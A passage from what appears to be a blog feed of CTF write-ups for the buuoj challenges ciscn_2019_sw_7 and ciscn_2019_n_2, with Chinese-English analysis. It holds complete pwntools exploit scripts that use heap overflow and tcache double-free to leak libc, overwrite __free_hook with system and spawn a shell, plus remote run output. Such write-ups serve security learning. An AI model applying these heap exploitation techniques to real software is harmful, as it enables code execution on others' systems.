class="line"><span class="comment">#!python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">context.clear(arch=<span class="string">&#x27;amd64&#x27;</span>, os=<span class="string">&#x27;linux&#x27;</span>)</span><br><span class="line">elf = context.binary = ELF(<span class="string">&quot;bin&quot;</span>)</span><br><span class="line">libc = elf.libc</span><br><span class="line"></span><br><span class="line">context.terminal = [<span class="string">&quot;tmux&quot;</span>, <span class="string">&quot;split&quot;</span>, <span class="string">&quot;-h&quot;</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> args.LOG:</span><br><span class="line">    context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line"></span><br><span class="line">gs = <span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">set breakpoint pending on</span></span><br><span class="line"><span class="string">b system</span></span><br><span class="line"><span class="string"># b *0x555555400BD3</span></span><br><span class="line"><span class="string">continue</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="comment"># =============================================================================</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">start</span>():</span><br><span class="line">    <span class="keyword">if</span> args.GDB:</span><br><span class="line">        <span class="comment"># args[&#x27;NOASLR&#x27;] = True</span></span><br><span class="line">        <span class="keyword">return</span> gdb.debug(elf.path, gdbscript=gs)</span><br><span class="line">    <span class="keyword">elif</span> args.REMOTE:</span><br><span class="line">        <span class="keyword">return</span> remote(<span class="string">&#x27;node4.buuoj.cn&#x27;</span>, <span class="number">27251</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> process(elf.path)</span><br><span class="line"></span><br><span class="line">sla = <span class="keyword">lambda</span> a, b: io.sendlineafter(a, b)</span><br><span class="line">sa = <span class="keyword">lambda</span> a, b: io.sendafter(a, b)</span><br><span class="line">rl = <span class="keyword">lambda</span>: io.recvline()</span><br><span class="line">sl = <span class="keyword">lambda</span> data: io.sendline(data)</span><br><span class="line"></span><br><span class="line">noteID = [<span class="number">0</span>]*<span class="number">10</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">addNote</span>(<span class="params">size, content</span>):</span><br><span class="line">    <span class="keyword">global</span> noteID</span><br><span class="line">    <span class="comment"># sla(b&#x27;&gt;&#x27;, b&#x27;1&#x27;)</span></span><br><span class="line">    sl(<span class="string">b&#x27;1&#x27;</span>)</span><br><span class="line">    sla(<span class="string">b&#x27;size of note:&#x27;</span>, <span class="built_in">str</span>(size).encode())</span><br><span class="line">    sla(<span class="string">b&quot;content of note:&quot;</span>, content)</span><br><span class="line">    io.recvuntil(<span class="string">b&quot;What&#x27;s this?[&quot;</span>)</span><br><span class="line">    offset = io.recvuntil(<span class="string">b&quot;]\n&quot;</span>,drop=<span class="literal">True</span>)</span><br><span class="line">    <span class="built_in">id</span> = <span class="number">0</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(noteID)):</span><br><span class="line">        <span class="keyword">if</span> noteID[i] == <span class="number">0</span>:</span><br><span class="line">            noteID[i] = <span class="built_in">int</span>(offset, <span class="number">16</span>) <span class="comment">#低三byte都是0概率小，不特殊处理</span></span><br><span class="line">            <span class="built_in">id</span> = i</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">    <span class="comment"># time.sleep(0.1)</span></span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">id</span>   </span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">showNote</span>(<span class="params"><span class="built_in">id</span></span>):</span><br><span class="line">    <span class="comment"># sla(b&#x27;&gt;&#x27;, b&#x27;2&#x27;)</span></span><br><span class="line">    sl(<span class="string">b&#x27;2&#x27;</span>)</span><br><span class="line">    sla(<span class="string">b&#x27;Index:&#x27;</span>, <span class="built_in">str</span>(<span class="built_in">id</span>).encode())</span><br><span class="line">    io.recvuntil( <span class="string">b&quot; : &quot;</span>)</span><br><span class="line">    <span class="keyword">return</span> io.recvuntil(<span class="string">b&quot;\nDone.&quot;</span>,drop=<span class="literal">True</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">freeNote</span>(<span class="params"><span class="built_in">id</span></span>):</span><br><span class="line">    <span class="keyword">global</span> noteID</span><br><span class="line">    <span class="comment"># sla(b&#x27;&gt;&#x27;, b&#x27;4&#x27;)</span></span><br><span class="line">    sl(<span class="string">b&#x27;4&#x27;</span>)</span><br><span class="line">    sla(<span class="string">b&#x27;Index:&#x27;</span>, <span class="built_in">str</span>(<span class="built_in">id</span>).encode())</span><br><span class="line">    noteID[<span class="built_in">id</span>] = <span class="number">0</span></span><br><span class="line">   </span><br><span class="line"></span><br><span class="line"><span class="comment"># =============================================================================</span></span><br><span class="line"></span><br><span class="line">io = start()</span><br><span class="line">io.timeout = <span class="number">3000</span> </span><br><span class="line"></span><br><span class="line">A = addNote(<span class="number">0</span>, <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x10</span>) <span class="comment"># 0x20 chunk</span></span><br><span class="line">nlst = [addNote(<span class="number">0x40</span>, <span class="string">b&#x27;Note&#x27;</span>) <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">9</span>)] <span class="comment">#BCDE FGHI J</span></span><br><span class="line"></span><br><span class="line">freeNote(A)</span><br><span class="line">Actn = <span class="number">2</span>*p64(<span class="number">0</span>) + p64(<span class="number">0xa1</span>) + (<span class="number">9</span>*p64(<span class="number">0</span>) + p64(<span class="number">0x51</span>)) + <span class="number">7</span>*(<span class="number">9</span>*p64(<span class="number">0</span>) + p64(<span class="number">0xa1</span>)) + p64(<span class="number">0</span>)*<span class="number">2</span> </span><br><span class="line"><span class="comment"># C-&gt;size keep 0x51</span></span><br><span class="line"><span class="comment">#last two p64 more to avoid \0 overwrite change our data</span></span><br><span class="line">A = addNote(<span class="number">0</span>, Actn)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 最后一个chunk和top_chunk邻接。释放到t-cache中，</span></span><br><span class="line"><span class="comment"># 若进unsorted-bin,会被top_chunk back-consolidate 吃掉。= =!!</span></span><br><span class="line">nlst.reverse()</span><br><span class="line">[freeNote(i) <span class="keyword">for</span> i <span class="keyword">in</span> nlst]</span><br><span class="line"><span class="comment">## now: </span></span><br><span class="line"><span class="comment">#  T-cache </span></span><br><span class="line"><span class="comment">#       0xa0: D-&gt;E-&gt;F-&gt;G-&gt;H-&gt;I-&gt;J</span></span><br><span class="line"><span class="comment">#       0x50: C </span></span><br><span class="line"><span class="comment"># unsortedbin: B(0xa0)</span></span><br><span class="line"><span class="comment">##</span></span><br><span class="line"></span><br><span class="line">C = addNote(<span class="number">0x40</span>, <span class="string">b&#x27;C&#x27;</span>*<span class="number">0x10</span>)</span><br><span class="line"><span class="comment">#trigger B remainderring, C will be the remainder and linked into unsortedbin</span></span><br><span class="line">B = addNote(<span class="number">0x40</span>, <span class="string">b&#x27;B&#x27;</span>) </span><br><span class="line"></span><br><span class="line">Cctn = showNote(C)</span><br><span class="line">log.info(<span class="string">&#x27;Cctn: &#123;&#125;&#x27;</span>.<span class="built_in">format</span>(Cctn))</span><br><span class="line">arena = u64(Cctn.ljust(<span class="number">8</span>, p8(<span class="number">0</span>))) - <span class="number">0x60</span></span><br><span class="line">log.info(<span class="string">&#x27;arena: &#123;&#125;&#x27;</span>.<span class="built_in">format</span>(<span class="built_in">hex</span>(arena)))</span><br><span class="line">libc.address = arena - (libc.sym.__malloc_hook + <span class="number">0x10</span>)</span><br><span class="line">log.success(<span class="string">&#x27;libc.address: &#123;&#125;&#x27;</span>.<span class="built_in">format</span>(<span class="built_in">hex</span>(libc.address)))</span><br><span class="line"></span><br><span class="line">freeNote(B) <span class="comment">#0x50 tcache bin</span></span><br><span class="line"></span><br><span class="line">freeNote(A)</span><br><span class="line">Actn = <span class="number">16</span>*<span class="string">b&#x27;a&#x27;</span> + p64(<span class="number">0x51</span>) + p64(libc.sym.__free_hook - <span class="number">8</span>)  </span><br><span class="line">A = addNote(<span class="number">0</span>, Actn)</span><br><span class="line">freeNote(A)</span><br><span class="line"></span><br><span class="line">B = addNote(<span class="number">0x40</span>, <span class="string">b&#x27;B&#x27;</span>)</span><br><span class="line">freeHookMem = addNote(<span class="number">0x40</span>, p64(libc.sym.system))</span><br><span class="line"></span><br><span class="line">Actn = <span class="number">16</span>*<span class="string">b&#x27;a&#x27;</span> + p64(<span class="number">0x51</span>) + <span class="string">b&#x27;/bin/sh\0&#x27;</span></span><br><span class="line">A = addNote(<span class="number">0</span>, Actn)</span><br><span class="line"></span><br><span class="line">freeNote(B)</span><br><span class="line"></span><br><span class="line"><span class="comment"># =============================================================================</span></span><br><span class="line"><span class="comment">#got shell</span></span><br><span class="line">time.sleep(<span class="number">0.1</span>)</span><br><span class="line">sl(<span class="string">b&#x27;cat flag&#x27;</span>)</span><br><span class="line">flag = rl()</span><br><span class="line">log.info(<span class="string">&#x27;flag: &#123;&#125;&#x27;</span>.<span class="built_in">format</span>(flag))</span><br><span class="line"><span class="comment"># io.interactive()</span></span><br><span class="line">io.close()</span><br></pre></td></tr></table></figure><h1 id="0x4-output-example"><a class="markdownIt-Anchor" href="#0x4-output-example"></a> 0x4 Output Example</h1><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">╰─$ python xpl.py REMOTE</span><br><span class="line">[*] &#x27;ciscn_2019_sw_7/bin&#x27;</span><br><span class="line">    Arch:     amd64-64-little</span><br><span class="line">    RELRO:    Full RELRO</span><br><span class="line">    Stack:    Canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      PIE enabled</span><br><span class="line">[*] &#x27;libc-2.27.so&#x27;</span><br><span class="line">    Arch:     amd64-64-little</span><br><span class="line">    RELRO:    Partial RELRO</span><br><span class="line">    Stack:    Canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      PIE enabled</span><br><span class="line">[+] Opening connection to node4.buuoj.cn on port 27251: Done</span><br><span class="line">[*] Cctn: b&#x27;\xa0,\xe3\xcf\x8d\x7f&#x27;</span><br><span class="line">[*] arena: 0x7f8dcfe32c40</span><br><span class="line">[+] libc.address: 0x7f8dcfa47000</span><br><span class="line">[*] flag: b&#x27;flag&#123;d0bc3973-****-40d6-****-984b84217efa&#125;\n&#x27;</span><br><span class="line">[*] Closed connection to node4.buuoj.cn port 27251</span><br></pre></td></tr></table></figure><h1 id="0x5-the-challenge"><a class="markdownIt-Anchor" href="#0x5-the-challenge"></a> 0x5 The Challenge</h1><p><a href="https://buuoj.cn/challenges#ciscn_2019_sw_7">https://buuoj.cn/challenges#ciscn_2019_sw_7</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;0x0-checksec&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#0x0-checksec&quot;&gt;&lt;/a&gt; 0x0 Checksec&lt;/h1&gt;
&lt;figure class=&quot;highlight plaintext&quot;&gt;&lt;table&gt;&lt;t</summary>
      
    
    
    
    <category term="Write Up" scheme="http://www.4x7.fun/categories/Write-Up/"/>
    
    
    <category term="Write Up" scheme="http://www.4x7.fun/tags/Write-Up/"/>
    
    <category term="Heap Overflow" scheme="http://www.4x7.fun/tags/Heap-Overflow/"/>
    
    <category term="Integer Underflow" scheme="http://www.4x7.fun/tags/Integer-Underflow/"/>
    
    <category term="Integer Wraparound" scheme="http://www.4x7.fun/tags/Integer-Wraparound/"/>
    
  </entry>
  
  <entry>
    <title>WriteUp: Baby Tcache (ciscn_2019_n_2)</title>
    <link href="http://www.4x7.fun/2022/04/19/WriteUp-Baby-Tcache-ciscn-2019-n-2/"/>
    <id>http://www.4x7.fun/2022/04/19/WriteUp-Baby-Tcache-ciscn-2019-n-2/</id>
    <published>2022-04-18T19:15:03.000Z</published>
    <updated>2022-04-20T03:56:05.000Z</updated>
    
    <content type="html"><![CDATA[<h1 id="0x0-checksec"><a class="markdownIt-Anchor" href="#0x0-checksec"></a> 0x0 Checksec</h1><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Arch:     amd64-64-little</span><br><span class="line">RELRO:    Full RELRO</span><br><span class="line">Stack:    Canary found</span><br><span class="line">NX:       NX enabled</span><br><span class="line">PIE:      No PIE (0x3fe000) </span><br></pre></td></tr></table></figure><h1 id="0x1-reverse-enginnering"><a class="markdownIt-Anchor" href="#0x1-reverse-enginnering"></a> 0x1 Reverse Enginnering</h1><p>很简单的程序，</p><h1 id="0x2-analyze"><a class="markdownIt-Anchor" href="#0x2-analyze"></a> 0x2 Analyze</h1><p>主要过程</p><ul><li><ol><li><code>delete</code>函数有<code>double free</code>漏洞</li></ol></li><li><ol start="2"><li>利用<code>double free</code>构造<code>Write After Free</code></li></ol></li><li><ol start="3"><li>利用<code>Write After Free</code>修改<code>T-cache</code>中chunk，从而构造任意地址写</li></ol></li><li><ol start="4"><li>由于需要泄露<code>libc</code>地址，因此，利用任意地址写，控制<code>chunkList</code>指针数组(即<code>User</code>数组)</li></ol></li><li><ol start="5"><li>通过变更<code>chunkList</code>数组中的指针指向<code>got[printf]</code>, 然后<code>display</code>对应<code>user</code>信息，获取<code>libc</code>中<code>printf</code>函数地址，从而获取<code>libc</code>偏移</li></ol></li><li><ol start="6"><li>通过变更<code>chunkList</code>数组中指针，指向<code>libc.sym.__free_hook</code>;<code>edit</code>对应<code>user</code>信息，从而将<code>libc.sym.system</code>写入<code>__free_hook</code></li></ol></li><li><ol start="7"><li>构造包含<code>/bin/sh\0</code>的<code>chunk</code>并<code>delete</code>该<code>user</code>,从而触发<code>__free_hook</code>.获取<code>shell</code></li></ol></li></ul><h1 id="0x3-exploit-code"><a class="markdownIt-Anchor" href="#0x3-exploit-code"></a> 0x3 Exploit Code</h1><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">context.clear(arch=<span class="string">&#x27;amd64&#x27;</span>, os=<span class="string">&#x27;linux&#x27;</span>)</span><br><span class="line">elf = context.binary = ELF(<span class="string">&quot;bin&quot;</span>)</span><br><span class="line">libc = elf.libc</span><br><span class="line"></span><br><span class="line">context.terminal = [<span class="string">&quot;tmux&quot;</span>, <span class="string">&quot;split&quot;</span>, <span class="string">&quot;-h&quot;</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> args.LOG:</span><br><span class="line">    context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line"></span><br><span class="line">gs = <span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">continue</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># ============================= Help Functions =======================================</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">start</span>():</span><br><span class="line">    <span class="keyword">if</span> args.GDB:</span><br><span class="line">        <span class="keyword">return</span> gdb.debug(elf.path, gdbscript=gs)</span><br><span class="line">    <span class="keyword">elif</span> args.REMOTE:</span><br><span class="line">        <span class="keyword">return</span> remote(<span class="string">&#x27;node4.buuoj.cn&#x27;</span>, <span class="number">26880</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> process(elf.path)</span><br><span class="line"></span><br><span class="line">sla = <span class="keyword">lambda</span> s, p: io.sendlineafter(s, p)</span><br><span class="line">sa = <span class="keyword">lambda</span> s, p: io.sendafter(s, p)</span><br><span class="line">sl = <span class="keyword">lambda</span> s: io.sendline(s)</span><br><span class="line">rl = <span class="keyword">lambda</span> : io.recvline()</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">create</span>(<span class="params">name, age</span>):</span><br><span class="line">    sla(<span class="string">b&#x27;Your choice: &#x27;</span>, <span class="string">b&#x27;1&#x27;</span>)</span><br><span class="line">    sa(<span class="string">b&#x27;name:&#x27;</span>, name)</span><br><span class="line">    sa(<span class="string">b&#x27;age:&#x27;</span>, <span class="built_in">str</span>(age).encode())</span><br><span class="line">    ctn = rl()</span><br><span class="line">    idx = <span class="built_in">int</span>(ctn[<span class="built_in">len</span>(<span class="string">&quot;idx: &quot;</span>):-<span class="number">1</span>])</span><br><span class="line">    <span class="keyword">return</span> idx</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">delete</span>(<span class="params">idx</span>):</span><br><span class="line">    sla(<span class="string">b&#x27;Your choice: &#x27;</span>, <span class="string">b&#x27;2&#x27;</span>)</span><br><span class="line">    sla(<span class="string">b&#x27;Index:&#x27;</span>, <span class="built_in">str</span>(idx).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">edit</span>(<span class="params">idx, name, age</span>):</span><br><span class="line">    sla(<span class="string">b&#x27;Your choice:&#x27;</span>, <span class="string">b&#x27;3&#x27;</span>)</span><br><span class="line">    sla(<span class="string">b&#x27;Index:&#x27;</span>, <span class="built_in">str</span>(idx).encode())</span><br><span class="line">    sa(<span class="string">b&#x27;name:&#x27;</span>, name)</span><br><span class="line">    sla(<span class="string">b&#x27;age:&#x27;</span>, <span class="built_in">str</span>(age).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">display</span>(<span class="params">idx</span>):</span><br><span class="line">    sla(<span class="string">b&#x27;Your choice:&#x27;</span>, <span class="string">b&#x27;4&#x27;</span>)</span><br><span class="line">    sla(<span class="string">b&#x27;Index:&#x27;</span>, <span class="built_in">str</span>(idx).encode())</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;name: &#x27;</span>,drop=<span class="literal">True</span>)</span><br><span class="line">    name = io.recvuntil(<span class="string">b&quot;\nage: &quot;</span>,drop=<span class="literal">True</span>)</span><br><span class="line">    age = <span class="built_in">int</span>(io.recvuntil(<span class="string">b&quot;\nmoney: &quot;</span>,drop=<span class="literal">True</span>))</span><br><span class="line">    money = <span class="built_in">int</span>(io.recvuntil(<span class="string">b&quot;\n-----&quot;</span>,drop=<span class="literal">True</span>))</span><br><span class="line">    <span class="keyword">return</span> name, age, money</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">add_money</span>(<span class="params">idx</span>):</span><br><span class="line">    sla(<span class="string">b&#x27;Your choice:&#x27;</span>, <span class="string">b&#x27;5&#x27;</span>)</span><br><span class="line">    sla(<span class="string">b&#x27;Index:&#x27;</span>, <span class="built_in">str</span>(idx).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">buy_gift</span>(<span class="params">idx, address=<span class="literal">None</span>, size=<span class="literal">None</span></span>):</span><br><span class="line">    sla(<span class="string">b&#x27;Your choice:&#x27;</span>, <span class="string">b&#x27;6&#x27;</span>)</span><br><span class="line">    sla(<span class="string">b&#x27;Index:&#x27;</span>, <span class="built_in">str</span>(idx).encode())</span><br><span class="line">    ctn = io.recv(<span class="number">2</span>)</span><br><span class="line">    data = <span class="literal">None</span></span><br><span class="line">    <span class="keyword">if</span> ctn == <span class="string">b&#x27;:(&#x27;</span> <span class="keyword">or</span> address <span class="keyword">is</span> <span class="literal">None</span>  <span class="keyword">or</span> size <span class="keyword">is</span> <span class="literal">None</span>:</span><br><span class="line">        <span class="keyword">return</span> data</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        sla(<span class="string">b&quot;the address you want to leak:&quot;</span>, address)</span><br><span class="line">        sla(<span class="string">b&quot;the size you want to leak:&quot;</span>, <span class="built_in">str</span>(size).encode())</span><br><span class="line">        io.recvuntil(<span class="string">b&#x27;data:[[[&#x27;</span>,drop=<span class="literal">True</span>)</span><br><span class="line">        data = io.recvuntil(<span class="string">b&#x27;]]]\n&#x27;</span>,drop=<span class="literal">True</span>)</span><br><span class="line">        <span class="keyword">return</span> data</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">leave</span>():</span><br><span class="line">    sla(<span class="string">b&#x27;Your choice:&#x27;</span>, <span class="string">b&#x27;7&#x27;</span>)</span><br><span class="line">    </span><br><span class="line"><span class="comment"># ============================= Payload ===================================</span></span><br><span class="line">io = start()</span><br><span class="line">io.timeout = <span class="number">3000</span> </span><br><span class="line"></span><br><span class="line"></span><br><span class="line">log.info(<span class="string">f&quot;chunkList: <span class="subst">&#123;<span class="built_in">hex</span>(elf.sym.chunkList)&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line">A = create(<span class="string">b&#x27;A&#x27;</span>, <span class="number">0x10</span>) <span class="comment"># 0</span></span><br><span class="line">B = create(<span class="string">b&#x27;B&#x27;</span>, <span class="number">0x10</span>) <span class="comment"># 1</span></span><br><span class="line">delete(A)   </span><br><span class="line">delete(B)    </span><br><span class="line"></span><br><span class="line">B0 = create(<span class="string">b&#x27;B&#x27;</span>, <span class="number">0x10</span>) <span class="comment"># 0</span></span><br><span class="line">delete(B) </span><br><span class="line"></span><br><span class="line">B0name, B0age, B0money = display(B0)</span><br><span class="line">Aaddr = u64(B0name.ljust(<span class="number">8</span>, <span class="string">b&#x27;\0&#x27;</span>)) - <span class="number">0x10</span></span><br><span class="line">Baddr = Aaddr + <span class="number">0x20</span></span><br><span class="line"></span><br><span class="line">edit(B0, p64(elf.sym.chunkList), <span class="number">0x10</span>) <span class="comment"># </span></span><br><span class="line"></span><br><span class="line">B = create(<span class="string">b&#x27;/bin/sh\0&#x27;</span>, <span class="number">0x111111</span>) <span class="comment"># 1</span></span><br><span class="line">T = create(p64(Baddr + <span class="number">0x10</span>), elf.got[<span class="string">&#x27;printf&#x27;</span>]) <span class="comment"># 2 # change 0,1 pointer </span></span><br><span class="line"></span><br><span class="line">libc_printf, _, _ = display(<span class="number">1</span>)</span><br><span class="line">libc_printf = u64(libc_printf.ljust(<span class="number">8</span>, <span class="string">b&#x27;\0&#x27;</span>))</span><br><span class="line">log.info(<span class="string">f&quot;libc_printf: <span class="subst">&#123;<span class="built_in">hex</span>(libc_printf)&#125;</span>&quot;</span>)</span><br><span class="line">libc.address = libc_printf - libc.sym[<span class="string">&#x27;printf&#x27;</span>]</span><br><span class="line">log.success(<span class="string">f&quot;libc.address: <span class="subst">&#123;<span class="built_in">hex</span>(libc.address)&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line">edit(T, p64(Baddr + <span class="number">0x10</span>), libc.sym.__free_hook) <span class="comment">#</span></span><br><span class="line">edit(<span class="number">1</span>, p64(libc.sym.system), libc.sym.system)</span><br><span class="line"></span><br><span class="line">delete(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># ============================= Get Shell ========================================</span></span><br><span class="line">time.sleep(<span class="number">0.2</span>)</span><br><span class="line">sl(<span class="string">b&quot;cat flag&quot;</span>)</span><br><span class="line">flag = rl()</span><br><span class="line">log.success(<span class="string">f&quot;flag: <span class="subst">&#123;flag&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># io.interactive()</span></span><br><span class="line">io.close()</span><br></pre></td></tr></table></figure><h1 id="0x4-output-example"><a class="markdownIt-Anchor" href="#0x4-output-example"></a> 0x4 Output Example</h1><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">╰─$ python xpl.py REMOTE                                                                                                                                                                1 ↵</span><br><span class="line">[*] &#x27;ciscn_2019_n_2/bin&#x27;</span><br><span class="line">    Arch:     amd64-64-little</span><br><span class="line">    RELRO:    Full RELRO</span><br><span class="line">    Stack:    Canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      No PIE (0x3fe000)</span><br><span class="line">[*] &#x27;libc-2.27.so&#x27;</span><br><span class="line">    Arch:     amd64-64-little</span><br><span class="line">    RELRO:    Partial RELRO</span><br><span class="line">    Stack:    Canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      PIE enabled</span><br><span class="line">[+] Opening connection to node4.buuoj.cn on port 26880: Done</span><br><span class="line">[*] chunkList: 0x602060</span><br><span class="line">[*] libc_printf: 0x7fa3a8db6e80</span><br><span class="line">[+] libc.address: 0x7fa3a8d52000</span><br><span class="line">[+] flag: b&#x27;flag&#123;a7b5d398-\\\\-4e6a-////-30ab65387675&#125;\n&#x27;</span><br><span class="line">[*] Closed connection to node4.buuoj.cn port 26880</span><br></pre></td></tr></table></figure><h1 id="0x5-the-challenge"><a class="markdownIt-Anchor" href="#0x5-the-challenge"></a> 0x5 The Challenge</h1><p><a href="https://buuoj.cn/challenges#ciscn_2019_n_2">https://buuoj.cn/challenges#ciscn_2019_n_2</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;0x0-checksec&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#0x0-checksec&quot;&gt;&lt;/a&gt; 0x0 Checksec&lt;/h1&gt;
&lt;figure class=&quot;highlight plaintext&quot;&gt;&lt;table&gt;&lt;t</summary>
      
    
    
    
    <category term="Write Up" scheme="http://www.4x7.fun/categories/Write-Up/"/>
    
    
    <category term="Write Up" scheme="http://www.4x7.fun/tags/Write-Up/"/>
    
    <category term="Heap Overflow" scheme="http://www.4x7.fun/tags/Heap-Overflow/"/>
    
    <category term="T-cache" scheme="http://www.4x7.fun/tags/T-cache/"/>
    
  </entry>
  
  <entry>
    <title>WriteUp: w0odpeck3r&#39;s Nest</title>
    <link href="http://www.4x7.fun/2022/04/18/WriteUp-w0odpeck3r-s-Nest/"/>
    <id>http://www.4x7.fun/2022/04/18/WriteUp-w0odpeck3r-s-Nest/</id>
    <published>2022-04-18T10:08:10.000Z</published>
    <updated>2022-04-24T08:06:21.000Z</updated>
    
